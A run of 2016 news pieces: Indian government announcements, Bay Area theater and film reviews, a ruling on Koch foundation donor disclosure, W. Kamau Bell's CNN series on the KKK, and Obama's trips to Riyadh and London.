"You have promised us the bulk drugs park. We are ready to give you 500 acres land for that at Visakhapatnam," the Chief Minister told Union Minister for Chemicals and Petrochemicals Ananth Kumar at the foundation-stone laying ceremony of the Central Institute of Plastics Engineering and Technology (CIPET) at Surampalli village near here.

The Chief Minister also said the government would allot 200 acres of land at Mallavalli village for setting up a plastics park.

"Plastic is essential for the growth of agriculture sector. Israel brought about a revolution in agriculture, which we need to emulate," Chandrababu added.

The Chief Minister hailed the Union Minister saying there was no shortage of urea in the country now. "When Congress was in power, urea used to be supplied in police stations. Now, due to the efforts of Ananth Kumar, we don't have any shortage of urea," Chandrababu pointed out.

Ananth Kumar said one more CIPET would be established in Anantapuramu district of AP. "The Vijayawada CIPET will produce agri-plastics engineers. In Anantapuramu, we will have a course in plastics waste management," the Union Minister said. He said there was a need to integrate plastics with agriculture.

Union Minister of State for Chemicals Hansraj Gangaram Ahir, Vijayawada MP Kesineni Srinivas (Nani) and others were present.
Nepal's first woman President Bidhya Devi Bhandari will visit India next month during which a range of important issues are likely to be deliberated upon by both sides. (Photo: AFP)

New Delhi: In her first overseas trip after assuming charge, Nepal's first woman President Bidhya Devi Bhandari will visit India next month during which a range of important issues are likely to be deliberated upon by both sides.

External Affairs Ministry Spokesperson Vikas Swarup said Bhandari will be here at the invitation of President Pranab Mukherjee and that India was looking forward to welcome her.

Nepalese Prime Minister K P Sharma Oli had visited India in February which was also his first foreign trip after becoming the premier in October.

"India shares unique civilisational links with Nepal. Our age-old ties have been constantly nurtured by frequent exchanges of high-level visits. We look forward to welcoming President of Nepal Vidya Devi Bhandari next month in India on her first official visit abroad since taking office," Swarup said.

He said Bhandari has also evinced an interest in participating in the Simhasth Kumbh which is being held in Ujjain in May. The Nepalese President will be staying in President's House during the New Delhi leg of her trip.

The bilateral ties between the two countries had faced turbulence in the recent past due to the months-long Madhesi agitation and subsequent blockade which halted the supply of essential goods to landlocked Nepal from India.

Madhesis, mostly of Indian-origin, have been demanding the new Constitution be amended to include their concerns about adequate political representation and redrawing of federal boundaries.

Swarup said Foreign Minister of Mongolia L Purevsuren will pay an official visit to India from April 27-29 during which he will co-chair the 5th India-Mongolia Joint Committee on Cooperation, along with External Affairs Minister Sushma Swaraj. Prime Minister Narendra Modi had visited Mongolia in May last year.

Asked about the prime minister's visit to the US in June, Swarup said US President Barack Obama during his meeting with Modi during nuclear security summit in Washington had expressed a wish for a bilateral summit to review the progress of India-US bilateral ties.

Replying to a question on the Kohinoor issue, the spokesperson said, "Government of India remains committed to bringing back in an amicable fashion the valuable artefact which has strong roots in our history.

"Government of India will take all steps which are necessary to bring back the Kohinoor in an amicable manner."

Asked about observations on Maldives by Commonwealth's human rights and democracy oversight body CMAG, Swarup said India was for stability and development of the island nation.

"India has always supported stability, development and democracy and pluralism in the Maldives," he said, adding India's long-standing position was recently articulated during Maldivian President Abdulla Yameen Abdul Gayoom's recent visit here.

"India is a member of the CMAG and after its deliberations, a concluding statement has been issued. Obviously being a member of the CMAG, India is party to the statement and it speaks for itself," he said.
Within the first minute or two of The Heir Apparent at Berkeleys Aurora Theatre, theres a sex joke and a scatological laugh line. Ah, the sophistication of the French!

Freely translated and adapted by David Ives  he refers to his work as transladaptation  Jean-Francois Regnards 1708 comedy Le Legataire universel has become a crude but clever sitcom on a theme of greed is gross. Ives pays tribute to Regnard, who is something of a runner-up to Molieres reigning champion of French satire and hilarity, by keeping the play in rhymed verse. But Ives is no stickler for period, freely interspersing references to Cadillacs, Godzilla, Twitter, Miss Piggy and the like.

The Auroras Heir, which opened on Thursday, April 21, is the latest in what appears to be a long victory lap for Ives version of the play, which was created in 2011 for the Shakespeare Theatre Company in Washington, D.C., and has been adored wherever it has been produced. How nice for Regnard, a neglected writer whose life is perhaps even more interesting than his plays. He was kidnapped by Algerian pirates and sold into slavery in his 20s, and when he eventually returned to Paris, he served as Frances treasurer for 20 years.

He came to the theater in late middle age, and it seems he learned a thing or two from working around money (greed is dehumanizing and therefore hilarious) and from going to Moliere plays (Heir borrows liberally from The Imaginary Invalid). Regnards satire comes across as gentler and goofier than Molieres  think Threes Company compared to Arrested Development. One is more bounce; one is more brains.

Director Josh Costellos production has plenty of bounce thanks to an adept cast headed by Julian Lopez-Morillas as Geronte, the miserly misanthrope teetering on the brink of death, or at least everyone in his household hopes he is because they cant wait to get their hands on his millions.

The logical heir would be nephew Eraste (Kenny Toll), whose debts are as massive as his love for the lovely Isabelle (Khalia Davis), whom he wants to marry. But Isabelles mom (Elizabeth Carter), who has less the air of a parent and more the mind of a pimp, would rather sell her off to the highest bidder.

Erastes efforts to weasel his way into his ailing uncles will are abetted by servants Lisette (a rapturously droll Katie Rubin) and Crispin (Patrick Kelly Jones), who takes his duties seriously enough to effectively imitate Gerontes far-flung relative from New York, his pig-farming niece from the countryside and, in a state of true desperation, old Geronte himself.

Jones is a comedy dynamo here. Forget the satire, forget the rhymed verse (which is actually funny more often than its not)  when Jones is going full steam, hes a comedy marvel, and his impressions stand out as great little sketches within the play.

At just over two hours, this Heir can grow a little thin if only because the machinations of the plot  Geronte is dead! Geronte is alive! Geronte is a changed man!  get tiresome before we land on the happy ending. But within those grinding gears, Act 2 brings with it a pint-size lawyer named Scruple played by a game Lawrence Radecker, who performs with shoes on his knees. Scruple is a keen legal mind known slyly across the land as the great French tickler, which is appropriate because pretty much everything he does is funny.

Toward the end of the play, one character is compelled to move past greed as a primary motivator in life and starts to, in modern parlance, feel the Bern. She grabs handfuls of gold coins and throws them into the audience squealing, Socialism now! You have to wonder if the prescience was Regnard or Ives.

The Heir Apparent is a well-produced bauble, pure fun all the way to its ending, which lands squarely in the lap of another great comedy, this one a 20th-century classic, when everyone onstage embraces love over money, realizing at last that you cant take it with you.

Chad Jones is a Bay Area theater critic and writer.

The Heir Apparent: Comedy in verse. By Jean-Francois Regnard. Adapted by David Ives. Directed by Josh Costello. Through May 15. $32-$50. Aurora Theatre, 2081 Addison St., Berkeley. Two hours. (510) 843-4822. www.auroratheatre.org
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On Thursday night, an excited crowd dressed to the nines filed into the Castro Theatre. As the lights dimmed and the organ descended below the stage, some eager souls were still scurrying to find seats.

Noah Cowan, executive director of the San Francisco International Film Festival, strode onstage. After a slight pause, he announced:

Dearly beloved, we are gathered here today to get through this thing called life.

Cowan was paying a brief tribute to Prince, and to the opening-night film of the 59th SFIFF. Thursdays movie  the first of 173 films that will be shown over the next 15 days  was Love & Friendship, a Regency-era comedy starring Kate Beckinsale and Chloe Sevigny.

Director Whit Stillman adapted the script from an early Jane Austen novella, Lady Susan, which follows a young woman engaged in a charming Machiavellian struggle to arrange marriage for herself and her daughter. Its comfortable territory for Stillman, who documented the follies of modern bourgeois characters in his loose trilogy of films, Metropolitan, Barcelona and The Last Days of Disco.

Ive always been interested in Jane Austen, Stillman said in an interview before the movie started. But this (novella) was quite short and incomplete. So the idea was to expand it into a film and add something to the Austen shelf.

For Beckinsale, it was exciting to make another movie with Stillman and Sevigny, whom she previously worked with in The Last Days of Disco.

Its like the bands getting back together, she said.

She was especially thrilled with her role as Susan  a woman of equal parts charm and ruthlessness who disregarded the social norms for women in Regency England.

She sort of subverts every rule about a romantic heroine for that time period, which I really liked, actually, Beckinsale said. Shes delicious  a great experience  because shes so naughty.  You cant believe shes our heroine.

The Castro Theatre is a friendly venue for opening-night events, and Thursday was no exception. The crowd roared with laughter through the film. But as Cowan noted before the movie, this years festival will be the first in more than 30 years to take place predominantly in a new venue  the Alamo Drafthouse Cinema.

Cowan said the festival organizers selected this new venue as the center of the festival village to acknowledge the neighborhoods blossoming cinema scene.

Appropriately, the after-party was at the multilevel venue Public Works on Erie Street in the Mission. Immaculately coiffed attendees had their photos taken before entering the main floor, which was immediately packed with dancers swaying to the tunes of a Latin-funk band. A VIP section upstairs  guarded by stony-faced security personnel  was crowded to capacity. Some photographers struggled to snap pictures of the famous as non-famous revelers gleefully photo-bombed their shots.

A woman who identified herself as Anna said this was her sixth year attending the SFIFF. Although she was impressed by the after-party, she said it didnt quite compare to last years opening night, which was held at Madame Tussauds Wax Museum.

Not everyone was so critical. Kitty Oestlien, who was visiting from out of town for the festival, declared that she was thoroughly enjoying the party and had special praise for the movie.

I thought it was delightful and hilarious, Oestlien said. I love to see English culture making fun of itself.

Oestliens friend, who declined to give her name, admitted that she saw only the last eight minutes of the movie. But it was enough time to give her one important take-away: Kate Beckinsale looked fabulous.

Among the many conflicting opinions about the film and the party, that one seemed to be a strong consensus.

Eli Wolfe is a freelance writer based in the Bay Area.

The 59th San Francisco International Film Festival runs through May 5. Films will be screened at the Alamo Drafthouse New Mission, the Berkeley Art Museum and Pacific Film Archive, the Castro Theatre and the Roxie Theatre. For more information about upcoming films and how to purchase tickets, visit www.sffs.org
Standing by the hospital bedside of a new mother he barely knows, the visitor fixes her with an intently focused look. You are part of a great plan, he declares. You are my family.

An encounter that might otherwise seem peculiar if not a little menacing strikes an intrinsic emotional chord in Sojourners, a heartfelt and ardently acted play about Nigerian immigrants living in Houston in the late 1970s. Seen at a Tuesday, April 19, media preview, this Magic Theatre West Coast premiere explores the force fields of aspiration and assimilation, loneliness and self-assertion that spark and crackle through the three Nigerian characters and one native Texan.

Even as she addresses various broad-brush issues about the immigrant experience  a topic with plenty of currency in this fractious election year  playwright Mfoniso Udofia roots them in well-drawn and authentic characters. They drink and quarrel, cling to each other and come apart, long for home and family, and feel the pull of the gaudy American dream.

Its no accident that the audience leaves with a cliff-hanger sense of suspense about them. Sojourners is part of a proposed nine-play cycle. The Magic opens another play in the series, Runboyrun, on May 4.

The woman in the hospital bed is Abasiama (Ama for short), played with a beautifully measured sense of blighted dignity by Katherine Renee Turner. Pregnant by her charming but irresponsible husband Ukpong (a vibrant Jarrod Smith), Ama regards him with wary hopefulness as she shuttles from college to her night job at a gas station food kiosk and back to the couples apartment. Maybe Ukpong will get it together and graduate, she thinks, semi-blind to his fixation on Guinness beer, Motown records and other diversions from his studies.

But even as her mind tells her that Ukpong is a shaky bet, the bond between them holds. She melts a little when he pulls her up from a couch to dance or makes her try an American pickle. And theyve got a history, having fallen in love back home in Nigeria and traveled to Texas together for an education and presumably better life. Still its no wonder that Ama keeps feeling her cramps and babys kicks as seismic internal jolts. Shes at war with her own instincts, thoughts and feelings.

Working behind the plastic windows of the Fiesta kiosk, Ama is a woman trapped in a flimsy fortress. Two characters come along to break through. The young prostitute Moxie (Jamella Cross, in a sassy but tentative performance) saunters up to apply for a job at the Fiesta, striking up a friendship with Ama after the Nigerian woman helps her with the application. Then, arriving with an empty gas can, the would-be scholar Disciple Ufot (a fiery but ebullient Rotimi Agbabiaka) falls under Amas quietly magnetic spell.

A good stretch of the slower and more static second act is devoted to a battle between Moxie and Ufot for Amas affection. Moxie wants to move in with her, escape her own life of turning tricks and find the mother she never really had. Although Ufots great plan includes marrying Ama, he also connects to her own immigrant story as part of a larger movement hes struggling to capture in a dissertation. In a brief spoken extract, he describes how Nigerias talented tenth, educated abroad, will ultimately help their country rise and take their place on the global stage.

Its a quixotic narrative that grinds up against the daily reality of immigrant life  menial jobs, shabby apartments, shiny temptations and the almost physical ache of homesickness and cultural displacement. Udofia is keenly tuned to the ways in which language captures and embodies those things  the daunting pages of college textbooks, the struggle to fine-tune the American pronunciation of a word, a rush of untranslated Ibibio that taps the characters into the wellspring of family and home.

Soundly directed by Ryan Guzzo Purcell, with a key contribution from York Kennedys attentive lighting, Sojourners moves at a patient but accretive pace. The contours of the larger, generation-spanning cycle are already apparent. But even in the space of this one evening, Turner has staked out the wide dimensions of Amas pain, determination and dawning discovery of herself in a new land. Her complex response to a Snickers bar is one of many small wonders in this gorgeous, fully grounded performance.

Sojourners falls into a starchy, explanatory vein at times after intermission. The connection between Ama and Moxie is only sketchily dramatized. But when Ama steps into a pool of light at the end of the evening, eyes brimming with the fullness of what shes just decided, the audience pulls forward with her, wanting and needing to know where shes headed next.

Steven Winn is The San Francisco Chronicles former culture critic.

Sojourners: Drama. By Mfoniso Udofia. Directed by Ryan Guzzo Purcell. Through May 8. $25-$65. Magic Theatre, Building D, Fort Mason, 2 Marina Blvd., S.F. 2 hours, 10 minutes. (415) 441-8822, www.magictheatre.org.

For excerpts from the New York production and remarks by the playwright: www.youtube.com/watch?v=j3Zyqoz_opo.
A federal judge says a nonprofit controlled by conservative financial giants Charles and David Koch does not have to report its major donors to California Attorney General Kamala Harris office, despite previous court rulings upholding the disclosure requirement.

Requiring the Americans for Prosperity Foundation to reveal the names and addresses of every contributor of $5,000 or more would violate the foundations constitutional right of freedom of association and its donors freedom to speak anonymously by subjecting them to harassment and threats of violence, U.S. District Judge Manuel Real of Los Angeles said Thursday.

Although the law requires the attorney general to keep the information confidential and use it only to investigate possible misconduct by charitable foundations, Real said Harris office has systematically failed to maintain the confidentiality of the records. He said Americans for Prosperity presented evidence that more than 1,400 filings by foundations were publicly available on Harris website, including one by Planned Parenthood Affiliates of California.

Charitable organization

The foundation is classified as a charitable organization, funded by tax-deductible contributions, and is legally prohibited from taking part in political campaigns. It has advocated for conservative social causes, which it describes as public education.

Real had exempted the Koch brothers foundation from reporting its donors in a previous ruling, in February 2015, but was told to reconsider his decision by the Ninth U.S. Circuit Court of Appeals after that court found the disclosure law constitutional.

In a May 2015 ruling involving another conservative foundation, the Center for Competitive Politics, the appeals court said requiring nonprofit charitable and educational organizations to report their donors to the state does not violate their rights, and that fears of public disclosure and harassment were merely speculative. The foundation appealed to the U.S. Supreme Court, which denied review.

Real then held a nonjury trial and found Thursday that Americans for Prosperity had shown that, in its case, enforcement of the reporting law would cause serious harm to the foundation and its contributors.

He cited evidence of protests at the foundations Virginia headquarters and public events, consumer boycotts of one of its major donors, and death threats against the Koch brothers and their families. This court is not prepared to wait until an AFP opponent carries out one of the numerous death threats, Real said.

He also noted that the attorney generals office had not asked the foundation for its donor list for more than a decade before seeking the information in 2013. The office said it had failed to act earlier because it was understaffed, but Real said the evidence showed the state has no urgent need for the information.

Harris to appeal ruling

In response to the ruling, Derek Shaffer, a lawyer for the foundation, said, We hope this important victory will enable Americans, even in the face of governmental overreach, to retain their freedom, privacy and security as they support charities of their choosing.

Harris office said it would appeal to the Ninth Circuit. The disclosure law is a long-standing requirement that has helped attorneys general for more than a decade protect taxpayers against fraud, said spokeswoman Kristin Ford.

Bob Egelko is a San Francisco Chronicle staff writer. Email: begelko@sfchronicle.com Twitter: @egelko
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1. Fashion talk: Learn about the impact of war on fashion trends and design with a presentation by designer Paul Gallo, fashion collector Anastasia Rose Ellis, and enjoy a period cocktail. 2:30 p.m.-4 p.m. April 24. Stookeys Club Moderne, 895 Bush St., S.F. http://bit.ly/1MuU8KH.

2. Earth Day shopping Join Tienlyn Jacobson of Thoughtful Misfit at Bunai for an Earth Day shopping event, with 10 percent of sales benefiting charity:water. 6 p.m.-8 p.m. April 22. 435 University Avenue, Palo Alto. www.facebook.com/bunai.co.

3. Wanderlust: Get in touch with your mind, body and soul at Wanderlust 108, the worlds only mindful triathalon, which includes a 5k, 75 minutes of yoga and 30-minute meditation. 7:30 a.m.-3:30 p.m. April 24. Lindley Meadow, Golden Gate Park, 1000 John F. Kennedy Dr., S.F. Tickets available at http://wanderlust.com/108s.

4. Derby hats: Get geared up for the Kentucky Derby at the Pauls Hat Works and Hats on Post trunk show hosted by The Hound. 12 p.m.-7 p.m. April 26. 140 Sutter St., S.F. www.hatworksbypaul.com.

5. Art Market Explore a diverse selection of contemporary and modern art exhibited by nearly 70 galleries from the Bay Area to New York and beyond at the annual Art Market San Francisco. April 27-May 1. Fort Mason Festival Pavilion, 2 Marina Blvd., S.F. http://artmarketsf.com.

6. Beauty relaunch: Celebrate the relaunch of H2O+ Beauty with a first look at four new collections at the skin care brands popup shop. 12 p.m.-6 p.m. April 28. 3 p.m.-6 p.m. April 29. H2O+ Beauty, 111 Sutter St., 22nd floor, S.F. www.h2oplus.com.

7. Amsale trunk show: Book an appointment for the Amsale trunk show at Nordstrom to shop the full Spring 2016 collection of bridal gowns and bridesmaid dresses. 11 a.m.-7 p.m. April 29-May 1. Nordstrom San Francisco Centre, Wedding Suite, 865 Market St., S.F. http://shop.nordstrom.com.

8. Fizz and pop: Sip on fizzy cocktails infused with the ingredients of spring and get down to your favorite pop tunes at the Fizz and Pop: Spring Cocktails of the Farmers Market event hosted by CUESA and the United States Bartenders Guild. 5:30 p.m.-8 p.m. April 30. 1 Ferry Building, S.F. http://bit.ly/1YusBtD.

9. Cat cafe: Catch the Hello Kitty Cafe Truck at Santana Row (in front of Sino) for super cute baked goods and more. 10 a.m.-8 p.m. April 30. 10 a.m.-5 p.m. May 1. 377 Santana Row, San Jose. www.facebook.com/hellokittycafe.

 Jillian Sullivan, jsullivan@sfchronicle.com
Berkeley comic W. Kamau Bell hasnt been doing a lot of TV since his ground- and genre-breaking talk show Totally Biased With W. Kamau Bell was canceled by FXX. This month, hes making up for lost time with the launch of both a new CNN series, United Shades of America, and his first Showtime special, Semi-Prominent Negro.

Other than hosting a couple of shows for Showtime from South by Southwest, he admits he was in a kind of stumbly, bumbly whats-going-on-with-my-career place after he and his wife and two kids moved back to Berkeley.

He had a lot of meetings with various cable news stations, including CNN, to talk about potential projects. CNN thought Bell would be great doing a show about a black guy in white America, he says.

And I was like, thaaaats great, but can it not just be white places? he recalls by phone from Philadelphia, where he has a standup gig for a college audience that night.

Spotlight on W. Kamau Bell Black comic W. Kamau Bell gets inside the KKKs hooded heads

CNN liked Bells counter-proposal to go all over the country having conversations about race. They also liked his idea that the series premiere on Sunday, April 24, would find him driving through the American South talking to members of the Ku Klux Klan.

If viewers feel a bit of tension as KKK members talk about the mud races and say its an abomination for an African American man to be married to a white woman (as Bell is), he says he didnt feel threatened at all.

Once I sat down and talked to them, I felt they were very misguided rather than very scary after a while, he says, and that includes attending a cross lighting (as its officially called, not a cross burning). This is just like a twisted mens group is what this is, he recalls thinking. In some communities, this would be an Elks lodge.

When you hang with them for a while, its a bunch of dudes that enjoy hanging out with each other.

Meeting KKK members, some in their traditional robes and hoods and others in everyday attire, gave Bell some insight into why the Klan still exists after all these years. Many of these men live in small towns, most are probably under-employed and their lives may not have turned out as theyd once hoped, he surmises.

Instead of saying, what did I do to bring myself here, they decided its my fault. Black people are to blame, Bell says. Its easy to blame black people when there arent that many around.

Future episodes will find Bell going to Daytona Beach, Fla., to talk both to spring-breakers and retirees, visiting Alaskas Point Barrow and hanging out with cops in Camden, N.J.

I got to hang out with the police force, he deadpans. Every black mans dream.

He is especially proud of the second episode in the series, in which he visits San Quentin State Prison. Bells purpose in the Behind the Walls episode, airing on May 1, is to find out how spending a lifetime behind bars has impacted these men. The episode asks the questions of whether a murderer can ever be rehabilitated and if he even deserves to be. Bell will return to San Quentin to screen the episode for the inmates the day before the show airs.

In another episode, Bell visits the real-life Portlandia to show a side of the Oregon city you probably wont see on the IFC series. In the city of laid-back hipsters that can make Berkeley look like Bayonne, Bell looks at the effects of gentrification on the black community.

Instead of sandal-shod hipsters drinking herbal tea, Bell finds sad and angry black people who have been uprooted from their homes and are wondering, What did you do to my neighborhood.

We could have shot it in Oakland, he says.

He isnt joking.

The CNN series showcases Bells finely honed ability to tackle hot-button issues with smiling, disarming directness, something his standup audiences have learned to appreciate  and laugh at  over the years.

No matter how funny he is, though, he never loses sight of real issues, and the current presidential circus is providing him with a lot of material for standup.

The stuff I do on college campuses is multimedia, so I just play a clip of Donald Trump and point at it, he says.

I live in Berkeley, the land of Bernie Sanders, and what I talk about is how long it has taken my people, my liberal, progressive people, to take the threat of Donald Trump seriously.

Before Trump began racking up primary win after primary win, Bell began referring to him as President Trump to get people to understand that Hey, its not Lord Voldemort. Its not like he wont show up.

Again: He isnt joking.

David Wiegand is an assistant managing editor and the TV critic of The San Francisco Chronicle. Follow me on Facebook. Email: dwiegand@sfchronicle.com Twitter: @WaitWhat_TV

United Shades of America: Eight-part docu-comedy series, 10 p.m. Sunday, April 24, on CNN.

W. Kamau Bell: Semi-Prominent Negro: Comedy special, 10 p.m. Friday, April 29, on Showtime.
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In an era when the concept of actual dialogue is an endangered species in American society, an African American comic with a deceptively cheerful disposition wanders through the American South chatting up members of the Ku Klux Klan.

Thats what happens in the first of the eight episodes of United Shades of America, a new series starring Berkeley comic W. Kamau Bell (Totally Biased With W. Kamau Bell) and premiering Sunday, April 24, with The New KKK.

Bell introduces Sundays premiere as the what the hell am I thinking tour as he drives to Arkansas to meet with the head of the Klan, who tells him that the KKK is no longer antiblack, just pro-white.

Were out to look at the Klan for the 21st century, the Klan leader adds, as if the Klan had hired consultants to come up with an expensive rebranding campaign.

As you sit there listening in disbelief while Klan members say things like Jews will never be in the Klan. Theyre a dirty race, the Klan doesnt want to mingle our seed with the beasts of the field and the whole reason Klansmen wear hoods is to show were all equal, you cant help feeling you have gained some sad insight into why race remains such an ugly and divisive part of American life.

But to elevate your eyebrows further, how about justifying separation of the races by comparing the American populace to a bag of Skittles? Thats how one Klansman explains the groups philosophy. If you separate Skittles by color, youll find each one tastes better than if you just take a handful of multiple-colored candy, he argues.

In other words, the nations racial problems could have been solved years ago if only wed thought of visiting the candy counter.

Bell visits the small town of Harrison, Ark., which is 96 percent white. Driving into town, youre greeted by a billboard that advises you, Anti Racist Is a Code Word for Anti White. No one officially knows who has paid for the billboard, but many suspect Rev. Thomas Robb, who, in conversation with Bell, wont say if he paid for the sign, but does say diversity is a code word for white genocide.

Sitting across from Bell at a local diner, the preacher offers that it is his personal belief that black people cannot maintain law and order.

Throughout the hour-long premiere, youre stunned not only by the crazy utterances of the Klan members but by Bells ability to keep things on a conversational level.

Future episodes of United Shades of America will find Bell traveling to Daytona Beach, Fla., where he will interview retirees as well as college students on spring break, to Portland, Ore., to talk to African Americans who have been displaced by gentrification, to San Quentin State Prison to talk to long-term inmates, and to Camden, N.J., where he hangs out with local cops.

Everyone talks about the ongoing national conversation on race, but for the most part, that conversation has been a shouting match at best. At worst, its resulted in demonstrations, riots, injuries and death. In United Shades of America, W. Kamau Bell makes the case that using humor to defuse some of the hatred is one way to get people to listen to each other.

David Wiegand is an assistant managing editor and the TV critic of The San Francisco Chronicle. Follow me on Facebook. Email: dwiegand@sfchronicle.com Twitter: @WaitWhat_TV

United Shades of America: With W. Kamau Bell, 10 p.m. Sunday, April 24, on CNN.
Vikas Swarup said that the JIT's visit to investigate the Pathankot air base attack was held in a very constructive and cooperative environment. (Photo: PTI)

New Delhi: With Pakistan claiming that the National Investigation Agency (NIA) has not made any request to visit the country to conduct the Pathankot terror attack probe, the Ministry of External Affairs (MEA) on Friday said the next step will be considered at an appropriate time.

"The investigations are going on in both countries. We will consider the next step at an appropriate time," MEA official spokesperson Vikas Swarup told the media here.

Swarup said the JIT visit to investigate the Pathankot air base attack was held in a very constructive and cooperative environment. "We welcome cooperation to combat terrorism in all its forms," he added.

Pakistan's Foreign Office spokesman Nafees Zakaria had earlier said that he was not aware of any official request with regard to the Indian NIA team's visit to the nation.

Meanwhile, commenting on the controversy over the death of Indian prisoner Kirpal Singh, Swarup said, "Through our High Commission in Pakistan, we have asked the Government of Pakistan to take all necessary steps for ensuring safety, security and well-being of all Indians in Pakistani custody. This has been reiterated in light of what happened with Kirpal Singh.

The mystery over Kirpal Singh's death continues as the post-mortem conducted at Amritsar Medical College could not arrive at a conclusion over the cause of this death.

The autopsy, which was conducted by a team of three doctors, says there were no external or internal injury marks on the body.

However, the heart and stomach were missing as they had been taken out during the first autopsy conducted at Jinnah Hospital in Lahore.

The Pakistani officials claimed that he died of a heart attack but Indian authorities suspect that he was murdered.

The Indian prisoner died in a Pakistani's Kot Lakhpat Jail on April 11 under mysterious circumstances. Kirpal Singh's family members have alleged torture and foul play.

In 1991, Kirpal Singh was sentenced to life imprisonment by the Pakistani authorities for allegedly spying and conducting terrorist activities in Pakistan.
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Cans of beer and excited high fives were passed around the Missions Alamo Drafthouse for the preseason premiere screening Thursday night of Silicon Valley, the HBO comedy that satirizes the notorious tech-industry capital to our south.

While the shows cast and creators confidently joked through their post-premiere Q&A, Silicon Valley star Thomas Middleditch seems to live in permanent awe that hes really on a hit HBO show playing a character that director and co-creator Mike Judge wrote for him. It was this whole thing that started happening, exclaimed Middleditch, and every step of the way, I didnt believe it.

Now, in the shows third season, the cast of Silicon Valley enjoys a rapport not dissimilar to teenagers in their junior year of high school. The cast is engaged in a constant comedic banter of inside jokes and insults, fart humor abounds, and theres a vibe that no matter how silly they get, its too late to fire anyone.

Youre not king of the school yet, but I do have a sense of security, Middleditch said. At least Im not a freshman.

Of course, naturally every actor is freaking out that its all gonna evaporate tomorrow, he said. But at least for right now, it feels like were pretty secure. HBO just announced that the Emmy-winning show has been renewed for a fourth season.

Whether or not youve ever heard of Middleditch, youd probably recognize him. The Canadian actors wide-eyed, rumpled-hair, character-actors looks fit perfectly into Silicon Valleys hoodie world, but have also popped up in some notably mainstream places.

For example, much to his own surprise, Middleditch appears in the Martin Scorsese film The Wolf of Wall Street. The actor briefly and painfully plays the dweeb cleaning the fishbowl before getting fired by Jonah Hill, who then swallows the fish.

It was a one-line part. I mean, literally, in the script, I had just room for that scene, said Middleditch, still scratching his messy head of hair at the experience.

Scorsese is very nice. Hes small, hes energetic. He has an English assistant director whos like (British accent), OK, guys. Well get everyone sorted out cause the guvs gonna come in here, hes gonna give you all notes. He calls him the guv, the governor, the govnah. Which is great. Its a very old imperial army kind of thing. I loved it.

Middleditch broke into an impressive Scorsese imitation. Hed just come in and be like, OK, that was great. Try something new. Bye! and then walk away. It was a totally surreal experience.

Voices and impressions flow constantly from Middleditch, who trained at Second City in Chicago before a Saturday Night Live audition (ultimately unsuccessful) brought him to New York. Soon entrenched in show business, he was introduced through a pitch for an MTV cartoon show to Judge, the Emmy-winning creator of shows like Beavis and Butt-head and the cult classic film Office Space.

The cartoon never came to fruition, but when imagining the lead coder for a show about the tech nerds of Silicon Valley, Judge wrote with Middleditch in mind. And thus a funny kid from Nelson, British Columbia, ended up starring in a show on HBO.

In addition to the small screen of premium cable, fans can also catch Middleditch as Melissa Rauchs stuttering love interest in The Bronze, a raunchy romantic comedy film about a washed-up gymnast. Middleditch plays Twitchy, pairing the actors characteristic aw shucks persona with a compulsive twitch. And though he didnt get the SNL gig, he can be seen sharing TV screen time these days with Tina Fey in American Express commercials.

Silicon Valley executive producer Alec Berg thinks looks can be deceiving when it comes to the types of roles Middleditch has been perfecting. Hes not really as awkward. Hes much more in control; hes a lot less bumbling, Berg said. I think he has a lot more range. In a cast of people who are very similar to their characters, he is the most different.

In real life, Middleditch is a friendly newlywed and video-game enthusiast, far more hipster Napoleon Dynamite than terrified computer programmer. But hes proudly enjoying his current ride as the coolest nerd in Hollywood.

Settling comfortably into season three of a well-regarded HBO series with a cast whose members have become close friends doesnt hurt.

I have a feeling that Ill have a very sobering reality X amount of years later, on some other project, he said, and well be able to be like, Oh yeah, what we had was pretty special and fun.

Beth Spotswood is a Bay Area writer and blogger.

Silicon Valley: season three premiere, 10 p.m. Sunday, April 24, HBO.
RIYADH, Saudi Arabia  President Obama strained to ease tensions with Persian Gulf allies Thursday, pledging U.S. help in confronting Iran and other security threats. Yet he failed to win the commitments he sought to boost economic aid to Iraq.

Obamas trip to Saudi Arabia  the fourth and probably last of his presidency  did not result in any major breakthroughs. Obama said gulf leaders attending the regional summit had agreed to step up the campaign against the Islamic State group, but did not lay out specifics. He described the talks as a chance to clear up misperceptions among allies, insisting the U.S. and gulf partners had tactical differences but similar goals.

A lot of the strain was always overblown, Obama said as he closed a two-day trip here. Obama later arrived in London for a three-day visit that will include dining with the royal family and talks with Prime Minister David Cameron.

Saudi Arabia, like other Sunni-led countries in the region, has been wary of Obamas nuclear deal with Iran and skeptical of his approach in Syria. Obama came to the Gulf Cooperation Council meeting not only to urge its members to do more to tackle thorny security challenges but also to offer his own reassurance.

His brief visit, though, illustrated the limits of what can be achieved when gulf budgets are stretched by a slump in oil prices and the region is eagerly looking beyond Obama to his successor. Obama leaves office in January after eight years that Saudi leaders saw as heralding a shift in traditional U.S. loyalties away from Saudi Arabia and toward Iran.

Obama, in meetings with Saudi King Salman, the ruling emirs of Qatar and Kuwait and others, appealed for more financial and political support to help Iraq. Yet the leaders appeared reluctant to invest until Iraqs government overcomes a political crisis and better integrates Sunnis into the process.

In a shift in tone from just a day earlier, Obama said the U.S. and its gulf partners should wait to see whether Iraq can resolve the crisis before committing more aid. He warned that the paralysis is impeding U.S.-led efforts to defeat the Islamic State group and reconstruct war-damaged Iraq.

Right now in Baghdad, theres some big challenges, Obama said. Until thats settled, I think its important for us to make sure that any additional stabilization dollars that we put in are going to be effectively spent.

Obama praised Iraqi Prime Minister Haider al-Abadi as a good partner for the U.S. but and said he was concerned about his grip on power. Increasing pressure on Iraqi leaders, Obama said it was vital for the country to finalize a Cabinet so the nation can focus on profound long-term problems.

Theyve got a lot on their plate, Obama said. Now is not the time for government gridlock or bickering.

In London, the president will be joined by Michelle Obama and they will have lunch Friday with Queen Elizabeth II  a day after her 90th birthday.

Theyll also attend a dinner hosted by Prince William; his wife, Kate; and Prince Harry at Kensington Palace.
LONDON  President Obama on Friday bluntly urged Britain to vote to remain inside the European Union in a referendum scheduled for June 23, and warned that a Britain outside of the bloc could not count on maintaining its current economic relationship with the United States.

Taking an unusually direct position on another countrys internal politics, Obama asserted that Britains membership in the bloc did not limit British influence but magnifies it.

Speaking alongside Prime Minister David Cameron at a news conference, he also directly addressed the potential consequences of a vote by Britain to leave. The president said that to do so would send Britain to the back of the queue for a trade deal with the United States, challenging those who have argued that Britain could quickly replicate the same favorable terms it enjoys as an EU member.

Cameron is leading the campaign to remain part of Europe, but the issue has divided his Conservative Party and polls suggest that the outcome could be close, making the forcefulness of Obamas statements especially striking.

Obama sidestepped a question on whether the special relationship between Washington and London would be damaged if Britain voted to leave the EU.

